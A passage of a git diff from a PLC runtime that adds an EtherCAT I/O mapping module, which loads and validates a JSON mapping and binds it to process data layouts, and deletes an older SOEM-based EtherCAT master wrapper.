b->byte_index && + a->bit_index == b->bit_index; +} + +/* An entry may not repeat a key of its master, nor a location used anywhere in the mapping. */ +static int check_duplicates(const ecat_iomap_t *map, const ecat_iomap_master_t *mm, + const ecat_iomap_entry_t *me, const char *path, char *err, + size_t err_size) +{ + for (int k = 0; k < mm->entry_count; k++) { + const ecat_iomap_entry_t *o = &mm->entries[k]; + if (o->slave == me->slave && o->index == me->index && o->subindex == me->subindex) { + snprintf(err, err_size, + "%s: master '%s': process data entry (slave %d, 0x%04X:%u) is mapped twice: " + "%s and %s", + path, mm->name, me->slave, me->index, me->subindex, o->iec_location, + me->iec_location); + return -1; + } + } + for (int mi = 0; mi < map->master_count; mi++) { + const ecat_iomap_master_t *om = &map->masters[mi]; + for (int k = 0; k < om->entry_count; k++) { + const ecat_iomap_entry_t *o = &om->entries[k]; + if (same_location(&o->loc, &me->loc)) { + snprintf(err, err_size, + "%s: %s is mapped twice: master '%s' slave %d 0x%04X:%u and master '%s' " + "slave %d 0x%04X:%u", + path, me->iec_location, om->name, o->slave, o->index, o->subindex, + mm->name, me->slave, me->index, me->subindex); + return -1; + } + } + } + return 0; +} + +int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_size) +{ + memset(map, 0, sizeof(*map)); + char *text = read_file(path, err, err_size); + if (text == NULL) + return -1; + + cJSON *root = cJSON_Parse(text); + free(text); + if (root == NULL) { + snprintf(err, err_size, "%s is not valid JSON", path); + return -1; + } + + int rc = -1; + const cJSON *version = cJSON_GetObjectItemCaseSensitive(root, "version"); + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(root, "masters"); + if (!cJSON_IsNumber(version) || version->valueint != 1) { + snprintf(err, err_size, "%s: unsupported mapping version (expected 1)", path); + goto done; + } + if (!cJSON_IsArray(masters)) { + snprintf(err, err_size, "%s: missing 'masters' array", path); + goto done; + } + + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + if (map->master_count >= ECAT_IOMAP_MAX_MASTERS) { + snprintf(err, err_size, "%s: more than %d masters", path, ECAT_IOMAP_MAX_MASTERS); + goto done; + } + ecat_iomap_master_t *mm = &map->masters[map->master_count++]; + const cJSON *name = cJSON_GetObjectItemCaseSensitive(m, "name"); + const cJSON *entries = cJSON_GetObjectItemCaseSensitive(m, "entries"); + if (!cJSON_IsString(name) || !cJSON_IsArray(entries)) { + snprintf(err, err_size, "%s: each master needs 'name' and 'entries'", path); + goto done; + } + for (int k = 0; k < map->master_count - 1; k++) { + if (strcmp(map->masters[k].name, name->valuestring) == 0) { + snprintf(err, err_size, "%s: master name '%s' is used twice", path, + name->valuestring); + goto done; + } + } + snprintf(mm->name, sizeof(mm->name), "%s", name->valuestring); + + const cJSON *e; + cJSON_ArrayForEach(e, entries) + { + if (mm->entry_count >= ECAT_IOMAP_MAX_ENTRIES) { + snprintf(err, err_size, "%s: master '%s' has more than %d entries", path, + mm->name, ECAT_IOMAP_MAX_ENTRIES); + goto done; + } + ecat_iomap_entry_t *me = &mm->entries[mm->entry_count]; + const cJSON *slave = cJSON_GetObjectItemCaseSensitive(e, "slave"); + const cJSON *index = cJSON_GetObjectItemCaseSensitive(e, "index"); + const cJSON *sub = cJSON_GetObjectItemCaseSensitive(e, "subindex"); + const cJSON *loc = cJSON_GetObjectItemCaseSensitive(e, "iec_location"); + if (!cJSON_IsNumber(slave) || slave->valueint < 1 || parse_hex16(index, &me->index) || + !cJSON_IsNumber(sub) || sub->valueint < 0 || sub->valueint > 255 || + !cJSON_IsString(loc) || strlen(loc->valuestring) >= sizeof(me->iec_location)) { + snprintf(err, err_size, "%s: master '%s' entry %d is malformed", path, mm->name, + mm->entry_count); + goto done; + } + me->slave = slave->valueint; + me->subindex = (uint8_t)sub->valueint; + snprintf(me->iec_location, sizeof(me->iec_location), "%s", loc->valuestring); + if (ecat_io_parse_iec_location(me->iec_location, &me->loc) != 0) { + snprintf(err, err_size, "%s: invalid IEC location '%s' (slave %d, 0x%04X:%u)", + path, me->iec_location, me->slave, me->index, me->subindex); + goto done; + } + if (check_duplicates(map, mm, me, path, err, err_size) != 0) + goto done; + mm->entry_count++; + } + } + rc = 0; + +done: + cJSON_Delete(root); + return rc; +} + +/* --- binding ------------------------------------------------------------------------------ */ + +static void *resolve_plc_ptr(const iec_location_t *loc, plugin_runtime_args_t *args) +{ + int i = loc->byte_index; + if (loc->direction == IEC_DIR_INPUT) { + switch (loc->size) { + case IEC_SIZE_BIT: + return args->bool_input ? args->bool_input[i][loc->bit_index] : NULL; + case IEC_SIZE_BYTE: return args->byte_input ? args->byte_input[i] : NULL; + case IEC_SIZE_WORD: return args->int_input ? args->int_input[i] : NULL; + case IEC_SIZE_DWORD: return args->dint_input ? args->dint_input[i] : NULL; + case IEC_SIZE_LWORD: return args->lint_input ? args->lint_input[i] : NULL; + } + } else { + switch (loc->size) { + case IEC_SIZE_BIT: + return args->bool_output ? args->bool_output[i][loc->bit_index] : NULL; + case IEC_SIZE_BYTE: return args->byte_output ? args->byte_output[i] : NULL; + case IEC_SIZE_WORD: return args->int_output ? args->int_output[i] : NULL; + case IEC_SIZE_DWORD: return args->dint_output ? args->dint_output[i] : NULL; + case IEC_SIZE_LWORD: return args->lint_output ? args->lint_output[i] : NULL; + } + } + return NULL; +} + +static const cJSON *find_layout_master(const cJSON *layout, const char *name) +{ + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(layout, "masters"); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *n = cJSON_GetObjectItemCaseSensitive(m, "name"); + if (cJSON_IsString(n) && strcmp(n->valuestring, name) == 0) + return m; + } + return NULL; +} + +/* The layout entry for @p me; *matches counts every entry with its key. */ +static const cJSON *find_layout_entry(const cJSON *lm, const ecat_iomap_entry_t *me, int *matches) +{ + const cJSON *entries = cJSON_GetObjectItemCaseSensitive(lm, "entries"); + const cJSON *found = NULL; + const cJSON *e; + *matches = 0; + cJSON_ArrayForEach(e, entries) + { + const cJSON *slave = cJSON_GetObjectItemCaseSensitive(e, "slave"); + const cJSON *index = cJSON_GetObjectItemCaseSensitive(e, "index"); + const cJSON *sub = cJSON_GetObjectItemCaseSensitive(e, "subindex"); + uint16_t idx = 0; + if (cJSON_IsNumber(slave) && slave->valueint == me->slave && parse_hex16(index, &idx) == 0 && + idx == me->index && cJSON_IsNumber(sub) && sub->valueint == me->subindex) { + if (found == NULL) + found = e; + (*matches)++; + } + } + return found; +} + +/* A process image size from the layout: a number from 0 to what one data frame carries. */ +static int read_image_bytes(const cJSON *lm, const char *field, uint32_t *out) +{ + const cJSON *v = cJSON_GetObjectItemCaseSensitive(lm, field); + if (!cJSON_IsNumber(v) || v->valuedouble < 0 || v->valuedouble > EDL_MAX_PAYLOAD) + return -1; + *out = (uint32_t)v->valuedouble; + return 0; +} + +int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, + ecat_bound_map_t *out, char *err, size_t err_size) +{ + memset(out, 0, sizeof(*out)); + + for (int mi = 0; mi < map->master_count; mi++) { + const ecat_iomap_master_t *mm = &map->masters[mi]; + const cJSON *lm = find_layout_master(layout, mm->name); + if (lm == NULL) { + snprintf(err, err_size, "master '%s' is mapped but not running in EtherDOG", mm->name); + return -1; + } + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(lm, "index"); + const cJSON *ready = cJSON_GetObjectItemCaseSensitive(lm, "ready"); + if (!cJSON_IsNumber(idx) || idx->valueint < 0 || idx->valueint >= ECAT_IOMAP_MAX_MASTERS) { + snprintf(err, err_size, "master '%s': invalid index in layout", mm->name); + return ECAT_IOMAP_CONFIG_ERROR; + } + if (!cJSON_IsTrue(ready)) { + snprintf(out->not_ready[out->not_ready_count++], ECAT_IOMAP_NAME_LEN, "%s", mm->name); + continue; + } + + ecat_bound_master_t *bm = &out->masters[idx->valueint]; + if (bm->active) { + snprintf(err, err_size, "master '%s': layout index %d is bound twice", mm->name, + idx->valueint); + return ECAT_IOMAP_CONFIG_ERROR; + } + bm->active = true; + if (read_image_bytes(lm, "output_bytes", &bm->output_bytes) != 0 || + read_image_bytes(lm, "input_bytes", &bm->input_bytes) != 0) { + snprintf(err, err_size, + "master '%s': the layout's process image size is missing or larger than the " + "%d bytes a data frame carries", + mm->name, EDL_MAX_PAYLOAD); + return ECAT_IOMAP_CONFIG_ERROR; + } + + for (int ei = 0; ei < mm->entry_count; ei++) { + const ecat_iomap_entry_t *me = &mm->entries[ei]; + int matches = 0; + const cJSON *le = find_layout_entry(lm, me, &matches); + if (le == NULL) { + snprintf(err, err_size, + "%s (master '%s', slave %d, 0x%04X:%u) has no matching process data entry", + me->iec_location, mm->name, me->slave, me->index, me->subindex); + return ECAT_IOMAP_CONFIG_ERROR; + } + if (matches > 1) { + snprintf(err, err_size, + "%s (master '%s'): the layout lists slave %d, 0x%04X:%u in %d PDOs, so the " + "mapping cannot tell which one", + me->iec_location, mm->name, me->slave, me->index, me->subindex, matches); + return ECAT_IOMAP_CONFIG_ERROR; + } + const cJSON *dir = cJSON_GetObjectItemCaseSensitive(le, "direction"); + int bit_offset = (int)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(le, "bit_offset")); + int bit_length = (int)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(le, "bit_length")); + bool is_output = cJSON_IsString(dir) && strcmp(dir->valuestring, "output") == 0; + if (is_output != (me->loc.direction == IEC_DIR_OUTPUT)) { + snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %s data but mapped to %s", + me->iec_location, me->slave, me->index, me->subindex, + is_output ? "output" : "input", me->loc.direction == IEC_DIR_OUTPUT ? "%Q" : "%I"); + return ECAT_IOMAP_CONFIG_ERROR; + } + if (bit_length != iec_size_bits(me->loc.size)) { + snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %d bits wide but the location holds %d", + me->iec_location, me->slave, me->index, me->subindex, bit_length, + iec_size_bits(me->loc.size)); + return ECAT_IOMAP_CONFIG_ERROR; + } + uint32_t region_bits = 8u * (is_output ? bm->output_bytes : bm->input_bytes); + if (bit_offset < 0 || (uint32_t)(bit_offset + bit_length) > region_bits) { + snprintf(err, err_size, "%s: layout offset out of range", me->iec_location); + return ECAT_IOMAP_CONFIG_ERROR; + } + if (me->loc.byte_index < 0 || me->loc.byte_index >= args->buffer_size) { + snprintf(err, err_size, "%s exceeds the image table size (%d)", me->iec_location, + args->buffer_size); + return ECAT_IOMAP_CONFIG_ERROR; + } + + ecat_xfer_t x = { + .bit_offset = (uint32_t)bit_offset, + .bit_length = (uint8_t)bit_length, + .size = me->loc.size, + .plc_ptr = resolve_plc_ptr(&me->loc, args), + .journal_index = me->loc.byte_index, + .journal_bit = me->loc.size == IEC_SIZE_BIT ? me->loc.bit_index : 0, + }; + int *count = is_output ? &bm->output_count : &bm->input_count; + if (*count >= ECAT_IOMAP_MAX_ENTRIES) { + snprintf(err, err_size, "master '%s' has more than %d %s entries", mm->name, + ECAT_IOMAP_MAX_ENTRIES, is_output ? "output" : "input"); + return ECAT_IOMAP_CONFIG_ERROR; + } + if (is_output) { + if (x.plc_ptr == NULL) + continue; /* location not declared in the program */ + bm->outputs[(*count)++] = x; + } else { + bm->inputs[(*count)++] = x; + } + } + } + if (map->master_count > 0 && out->not_ready_count == map->master_count) { + snprintf(err, err_size, "no mapped master is operational (first: '%s')", out->not_ready[0]); + return -1; + } + return 0; +} + +/* --- per-cycle copies ----------------------------------------------------------------------- */ + +static uint64_t read_field(const uint8_t *payload, uint32_t bit_offset, int bits) +{ + if ((bit_offset & 7) == 0 && bits >= 8) { + uint64_t v = 0; + const uint8_t *p = payload + bit_offset / 8; + for (int i = bits / 8 - 1; i >= 0; i--) + v = (v << 8) | p[i]; + return v; + } + uint64_t v = 0; + for (int i = 0; i < bits; i++) { + uint32_t b = bit_offset + (uint32_t)i; + if (payload[b / 8] >> (b % 8) & 1) + v |= (uint64_t)1 << i; + } + return v; +} + +static void write_field(uint8_t *payload, uint32_t bit_offset, int bits, uint64_t v) +{ + if ((bit_offset & 7) == 0 && bits >= 8) { + uint8_t *p = payload + bit_offset / 8; + for (int i = 0; i < bits / 8; i++) + p[i] = (uint8_t)(v >> (8 * i)); + return; + } + for (int i = 0; i < bits; i++) { + uint32_t b = bit_offset + (uint32_t)i; + uint8_t mask = (uint8_t)(1u << (b % 8)); + if (v >> i & 1) + payload[b / 8] |= mask; + else + payload[b / 8] &= (uint8_t)~mask; + } +} + +void ecat_iomap_publish_inputs(const ecat_bound_master_t *m, const uint8_t *payload, size_t len, + plugin_runtime_args_t *args) +{ + if (len < m->input_bytes) + return; + for (int i = 0; i < m->input_count; i++) { + const ecat_xfer_t *x = &m->inputs[i]; + uint64_t v = read_field(payload, x->bit_offset, x->bit_length); + switch (x->size) { + case IEC_SIZE_BIT: + args->journal_write_bool(JOURNAL_BOOL_INPUT, x->journal_index, x->journal_bit, (int)v); + break; + case IEC_SIZE_BYTE: + args->journal_write_byte(JOURNAL_BYTE_INPUT, x->journal_index, (uint8_t)v); + break; + case IEC_SIZE_WORD: + args->journal_write_int(JOURNAL_INT_INPUT, x->journal_index, (uint16_t)v); + break; + case IEC_SIZE_DWORD: + args->journal_write_dint(JOURNAL_DINT_INPUT, x->journal_index, (uint32_t)v); + break; + case IEC_SIZE_LWORD: + args->journal_write_lint(JOURNAL_LINT_INPUT, x->journal_index, v); + break; + } + } +} + +void ecat_iomap_collect_outputs(const ecat_bound_master_t *m, uint8_t *payload, size_t len) +{ + if (len > EDL_MAX_PAYLOAD) + return; + memset(payload, 0, len); + if (len < m->output_bytes) + return; + for (int i = 0; i < m->output_count; i++) { + const ecat_xfer_t *x = &m->outputs[i]; + uint64_t v = 0; + switch (x->size) { + case IEC_SIZE_BIT: v = *(const uint8_t *)x->plc_ptr ? 1 : 0; break; + case IEC_SIZE_BYTE: v = *(const uint8_t *)x->plc_ptr; break; + case IEC_SIZE_WORD: v = *(const uint16_t *)x->plc_ptr; break; + case IEC_SIZE_DWORD: v = *(const uint32_t *)x->plc_ptr; break; + case IEC_SIZE_LWORD: v = *(const uint64_t *)x->plc_ptr; break; + } + write_field(payload, x->bit_offset, x->bit_length, v); + } +} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h new file mode 100644 index 00000000..f96a28ed --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file ethercat_iomap.h + * @brief Binds EtherCAT process data entries to PLC located variables. + * + * The mapping file (ethercat_iomapping.json, written by the Editor) names each entry by + * (master, slave position, entry index, subindex) and gives its IEC location. EtherDOG's + * "layout" reply says where that entry sits in the exchanged image. Joining the two yields + * a transfer list the client thread runs every cycle. + */ + +#ifndef ETHERCAT_IOMAP_H +#define ETHERCAT_IOMAP_H + +#include +#include +#include + +#include "cJSON.h" +#include "plugin_types.h" + +#define ECAT_IOMAP_MAX_MASTERS 4 +#define ECAT_IOMAP_MAX_ENTRIES 2048 +#define ECAT_IOMAP_NAME_LEN 64 +/** Highest byte index a location may use; the runtime's journal indexes are 16-bit. */ +#define ECAT_IOMAP_MAX_BYTE_INDEX 65535 + +/* ecat_iomap_bind result: the mapping cannot bind to this layout, so retrying cannot help. */ +#define ECAT_IOMAP_CONFIG_ERROR (-2) + +typedef enum { IEC_SIZE_BIT, IEC_SIZE_BYTE, IEC_SIZE_WORD, IEC_SIZE_DWORD, IEC_SIZE_LWORD } iec_size_t; +typedef enum { IEC_DIR_INPUT, IEC_DIR_OUTPUT } iec_dir_t; + +/** A parsed IEC 61131-3 location such as "%IX0.3" or "%QW12". */ +typedef struct { + iec_dir_t direction; + iec_size_t size; + int byte_index; + int bit_index; /* 0-7 for X, -1 otherwise */ +} iec_location_t; + +/** + * @brief Parse "%[IQ][XBWDL][.]"; the bit part is only valid for X. + * @return 0 on success, -1 on a malformed location. + */ +int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc); + +/** One mapping file entry. */ +typedef struct { + int slave; + uint16_t index; + uint8_t subindex; + char iec_location[16]; + iec_location_t loc; +} ecat_iomap_entry_t; + +typedef struct { + char name[ECAT_IOMAP_NAME_LEN]; + ecat_iomap_entry_t entries[ECAT_IOMAP_MAX_ENTRIES]; + int entry_count; +} ecat_iomap_master_t; + +typedef struct { + ecat_iomap_master_t masters[ECAT_IOMAP_MAX_MASTERS]; + int master_count; +} ecat_iomap_t; + +/** One resolved per-cycle copy between the frame payload and a PLC variable. */ +typedef struct { + uint32_t bit_offset; + uint8_t bit_length; + iec_size_t size; + void *plc_ptr; /* outputs: variable read under image_lock */ + int journal_index; /* inputs: byte index into the %I image */ + int journal_bit; +} ecat_xfer_t; + +typedef struct { + bool active; + uint32_t output_bytes; + uint32_t input_bytes; + ecat_xfer_t inputs[ECAT_IOMAP_MAX_ENTRIES]; + int input_count; + ecat_xfer_t outputs[ECAT_IOMAP_MAX_ENTRIES]; + int output_count; +} ecat_bound_master_t; + +typedef struct { + ecat_bound_master_t masters[ECAT_IOMAP_MAX_MASTERS]; + /* Mapped masters EtherDOG reports as not operational: left unbound */ + char not_ready[ECAT_IOMAP_MAX_MASTERS][ECAT_IOMAP_NAME_LEN]; + int not_ready_count; +} ecat_bound_map_t; + +/** Load and validate the mapping file. Returns 0, or -1 with @p err naming the problem. */ +int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_size); + +/** + * @brief Join the mapping with EtherDOG's layout reply and resolve PLC pointers. + * + * Every mapped entry must exist in the layout with a matching direction and width; any + * mismatch fails the whole bind with @p err naming the entry. Entries whose PLC variable is + * not declared in the program are skipped, as the in-process plugin did. A mapped master that + * EtherDOG reports as not operational is left unbound and listed in @p out->not_ready; the + * others are bound. + * + * @return 0 on success, -1 on failure (including when no mapped master is operational). + */ +/** + * Join the mapping with EtherDOG's layout. Returns 0, -1 when a mapped master is missing or not + * operational yet, or ECAT_IOMAP_CONFIG_ERROR when the mapping cannot bind to this layout. + */ +int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, + ecat_bound_map_t *out, char *err, size_t err_size); + +/** Publish one input frame into the %I image through the journal (lock-free). */ +void ecat_iomap_publish_inputs(const ecat_bound_master_t *m, const uint8_t *payload, + size_t len, plugin_runtime_args_t *args); + +/** Fill @p payload (zeroed first) from the %Q image. Call between image_lock/unlock. */ +void ecat_iomap_collect_outputs(const ecat_bound_master_t *m, uint8_t *payload, size_t len); + +#endif /* ETHERCAT_IOMAP_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_master.c b/core/src/drivers/plugins/native/ethercat/ethercat_master.c deleted file mode 100644 index 340b4425..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_master.c +++ /dev/null @@ -1,1088 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_master.c - * @brief EtherCAT Master SOEM Wrapper Implementation - * - * Wraps the SOEM library to provide high-level EtherCAT master operations: - * network initialization, slave scanning, topology validation against - * the JSON configuration, SDO writes, state machine management, and - * slave recovery. - * - * Uses the ecx_* context-based API from SOEM 2.x. - */ - -#include "ethercat_master.h" -#include "ethercat_proc.h" -#include "ethercat_iface_state.h" -#include "soem/soem.h" - -#include -#include -#include -#include - -/* Low-latency socket option for the SOEM raw socket (Linux only). - * Per-interface NIC tuning (ethtool coalescing/offloads) lives in - * ethercat_iface_state.{c,h}. */ -#if !defined(__CYGWIN__) && !defined(_WIN32) -#include -#define ECAT_BUSY_POLL_US 50 -#endif - -/* SDO encoding (encode_sdo_value below) memcpys host bytes directly into - * the EtherCAT wire buffer, which the spec defines as little-endian. - * Supported targets (linux/amd64, linux/arm64, linux/arm/v7) are all LE. - * If a future port targets a big-endian host, this build fails here -- - * fix by inserting htole32/htole64 calls in encode_sdo_value before the - * memcpy, rather than letting SDO writes silently corrupt slave configs. */ -#if defined(__BYTE_ORDER__) && defined(__ORDER_LITTLE_ENDIAN__) -_Static_assert(__BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__, - "EtherCAT SDO encoding requires a little-endian host"); -#endif - -/* - * ============================================================================= - * SOEM Context and IO Map - * ============================================================================= - */ - -/** Minimum retry count when polling for OPERATIONAL state. The actual - * retry count scales with min_sm_wd / total budget so the cadence stays - * inside the smallest configured SM watchdog (see transition_to_op). */ -#define ECAT_OP_POLL_RETRIES 10 - -/* - * ============================================================================= - * Topology Validation - * ============================================================================= - */ - -int ecat_master_validate_topology(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - int found_count = inst->ecx_context.slavecount; - - if (found_count != config->slave_count) { - plugin_logger_error(logger, - "Topology mismatch: expected %d slaves, found %d on the bus", - config->slave_count, found_count); - return -1; - } - - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *expected = &config->slaves[i]; - int pos = expected->position; - - if (pos < 1 || pos > found_count) { - plugin_logger_error(logger, - "Slave %d: position %d is out of range (1-%d)", - i, pos, found_count); - return -1; - } - - ec_slavet *found = &inst->ecx_context.slavelist[pos]; - - /* Vendor ID check (can be disabled per slave via startup_checks) */ - if (expected->startup_checks.check_vendor_id) { - if (found->eep_man != expected->vendor_id) { - plugin_logger_error(logger, - "Slave %d (%s) at position %d: vendor_id mismatch - " - "expected 0x%08X, found 0x%08X", - i, expected->name, pos, - expected->vendor_id, found->eep_man); - return -1; - } - } else { - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: vendor_id check disabled", - i, expected->name, pos); - } - - /* Product code check (can be disabled per slave via startup_checks) */ - if (expected->startup_checks.check_product_code) { - if (found->eep_id != expected->product_code) { - plugin_logger_error(logger, - "Slave %d (%s) at position %d: product_code mismatch - " - "expected 0x%08X, found 0x%08X", - i, expected->name, pos, - expected->product_code, found->eep_id); - return -1; - } - } else { - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: product_code check disabled", - i, expected->name, pos); - } - - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: topology OK " - "(vendor=0x%08X, product=0x%08X)", - i, expected->name, pos, - found->eep_man, found->eep_id); - } - - plugin_logger_info(logger, "Topology validation passed: %d slaves match configuration", - config->slave_count); - return 0; -} - -/* - * ============================================================================= - * Phase 1: Open Interface, Scan Bus, Validate Topology - * ============================================================================= - */ - -int ecat_master_open_and_scan(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - /* Zero-initialize the SOEM context before use */ - memset(&inst->ecx_context, 0, sizeof(inst->ecx_context)); - memset(inst->iomap, 0, sizeof(inst->iomap)); - inst->iomap_used_size = 0; - - /* Step 0: Apply per-iface external state (NIC tuning + IP-stack - * isolation). Reverted in ecat_master_close. */ - ecat_iface_state_apply(&inst->iface_state, config->master.interface, logger); - - /* Step 1: Initialize SOEM on the configured network interface */ - plugin_logger_info(logger, "Opening network interface: %s", config->master.interface); - - if (!ecx_init(&inst->ecx_context, config->master.interface)) { -#if defined(__CYGWIN__) || defined(_WIN32) - plugin_logger_error(logger, - "Failed to initialize EtherCAT interface '%s'. " - "Verify that Npcap (https://npcap.com) is installed and " - "the interface name matches a network adapter (use " - "'ipconfig' or Npcap's WlanHelper to list adapters).", - config->master.interface); -#else - plugin_logger_error(logger, - "Failed to initialize EtherCAT interface '%s'. " - "Check that the interface exists and the process has " - "CAP_NET_RAW capability (or is running as root).", - config->master.interface); -#endif - return -1; - } - - inst->soem_initialized = 1; - plugin_logger_info(logger, "Network interface opened successfully"); - - /* Enable SO_BUSY_POLL on the SOEM raw socket. - * This makes recvfrom() spin-poll the NIC driver instead of sleeping, - * eliminating ~5-10us of scheduler wakeup latency per exchange. */ -#ifdef ECAT_BUSY_POLL_US - { - int busy_us = ECAT_BUSY_POLL_US; - int sockfd = inst->ecx_context.port.sockhandle; - if (sockfd >= 0) { - if (setsockopt(sockfd, SOL_SOCKET, SO_BUSY_POLL, - &busy_us, sizeof(busy_us)) == 0) { - plugin_logger_info(logger, - "SO_BUSY_POLL enabled on socket (poll=%d us)", busy_us); - } else { - plugin_logger_debug(logger, - "SO_BUSY_POLL not supported (kernel may need CONFIG_NET_RX_BUSY_POLL)"); - } - } - } -#endif - - /* Step 2: Scan the bus and enumerate slaves */ - plugin_logger_info(logger, "Scanning EtherCAT bus..."); - - if (ecx_config_init(&inst->ecx_context) <= 0) { - plugin_logger_error(logger, - "No EtherCAT slaves found on interface '%s'. " - "Check cable connections and slave power.", - config->master.interface); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - plugin_logger_info(logger, "Found %d slave(s) on the bus", inst->ecx_context.slavecount); - - /* Log discovered slaves */ - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - plugin_logger_info(logger, - " [%d] %s - vendor=0x%08X, product=0x%08X, rev=0x%08X", - i, slave->name, slave->eep_man, slave->eep_id, slave->eep_rev); - } - - /* Step 3: Validate topology against JSON configuration */ - if (ecat_master_validate_topology(inst, logger) != 0) { - plugin_logger_error(logger, - "Topology validation failed - aborting master initialization"); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - /* Step 4: Wait for all slaves to reach PRE-OP state. - * ecx_config_init() requests PRE-OP but does not wait for the - * transition to complete. Slaves need to be in PRE-OP before - * mailbox communication (SDO writes) can work. - * - * Use the maximum init_to_preop_timeout across all configured slaves. */ - plugin_logger_info(logger, "Waiting for slaves to reach PRE-OP state..."); - - int max_preop_timeout_us = 0; - for (int i = 0; i < config->slave_count; i++) { - int t_us = config->slaves[i].timeouts.init_to_preop_timeout_ms * 1000; - if (t_us > max_preop_timeout_us) - max_preop_timeout_us = t_us; - } - if (max_preop_timeout_us == 0) - max_preop_timeout_us = EC_TIMEOUTSTATE * 4; - plugin_logger_debug(logger, "Using INIT->PRE-OP timeout: %d us", max_preop_timeout_us); - - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_PRE_OP, max_preop_timeout_us); - ecx_readstate(&inst->ecx_context); - - int all_preop = 1; - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state < EC_STATE_PRE_OP) { - plugin_logger_error(logger, - "Slave %d (%s) failed to reach PRE-OP (state=0x%04X, ALstatus=0x%04X)", - i, slave->name, slave->state, slave->ALstatuscode); - all_preop = 0; - } - } - - if (!all_preop) { - plugin_logger_error(logger, "Not all slaves reached PRE-OP - aborting"); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - plugin_logger_info(logger, "All slaves in PRE-OP state"); - - return 0; -} - -/* - * ============================================================================= - * Phase 2: SDO Configuration - * ============================================================================= - */ - -/** - * @brief Encode a double-typed SDO value into wire bytes for the target type. - * - * Three paths cover all 11 supported types: REAL32, REAL64, and integer. - * Integer types share a common int64_t cast and a memcpy of the LSBs -- - * parse_sdo's range check guarantees the cast is in-range, so no UB on - * the truncation. Host little-endian is enforced at file scope by the - * _Static_assert above; a future big-endian port fails the build there. - * - * @param dt Target wire type (must be a valid known type) - * @param in Source value (already range-validated by the parser) - * @param out Output buffer, at least @p ecat_data_type_size(dt) bytes - * @return Number of bytes written, or 0 if @p dt is unknown/PAD - */ -static int encode_sdo_value(ecat_data_type_t dt, double in, uint8_t out[8]) -{ - int sz = ecat_data_type_size(dt); - if (sz <= 0) - return 0; - - memset(out, 0, 8); - - if (dt == ECAT_DTYPE_REAL32) { - float v = (float)in; - memcpy(out, &v, sizeof(v)); - return 4; - } - if (dt == ECAT_DTYPE_REAL64) { - memcpy(out, &in, sizeof(in)); - return 8; - } - - /* Integer path (BOOL/INT8/UINT8/.../UINT64): one cast to int64_t, - * then memcpy the low @p sz bytes -- little-endian on supported hosts. */ - int64_t i = (int64_t)in; - memcpy(out, &i, (size_t)sz); - return sz; -} - -int ecat_master_write_sdos(ecat_master_instance_t *inst, int slave_pos, - const ecat_sdo_config_t *sdos, - int sdo_count, int sdo_timeout_ms, - plugin_logger_t *logger) -{ - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot write SDOs: SOEM not initialized"); - return -1; - } - - if (slave_pos < 1 || slave_pos > inst->ecx_context.slavecount) { - plugin_logger_error(logger, "Invalid slave position %d for SDO write", slave_pos); - return -1; - } - - if (sdo_count == 0) - return 0; - - /* Slaves without CoE mailbox cannot accept SDO writes; refuse early - * with a clear message instead of letting every ecx_SDOwrite return - * wkc=0. */ - if ((inst->ecx_context.slavelist[slave_pos].mbx_proto & 0x04) == 0) { - plugin_logger_error(logger, - "Slave %d: %d SDO(s) configured but slave does not support CoE mailbox", - slave_pos, sdo_count); - return -1; - } - - int written = 0; - - for (int i = 0; i < sdo_count; i++) { - const ecat_sdo_config_t *sdo = &sdos[i]; - - /* Parse index from hex string */ - uint16_t index = (uint16_t)strtol(sdo->index, NULL, 16); - - /* parse_sdo rejects UNKNOWN/PAD so encode_sdo_value() returning - * 0 here is a parser regression rather than user input -- skip - * the SDO defensively rather than crash. */ - ecat_data_type_t dt = sdo->parsed_type; - uint8_t value_buf[8]; - int size = encode_sdo_value(dt, sdo->value, value_buf); - if (size <= 0) { - plugin_logger_error(logger, - "Slave %d SDO 0x%04X:%d: unknown data type '%s' -- skipping (parser regression?)", - slave_pos, index, sdo->subindex, - ecat_data_type_to_string(dt)); - continue; - } - - const char *dt_name = ecat_data_type_to_string(dt); - if (dt == ECAT_DTYPE_REAL32 || dt == ECAT_DTYPE_REAL64) { - plugin_logger_debug(logger, - "Slave %d: writing SDO 0x%04X:%d = %g (%s, %d bytes)", 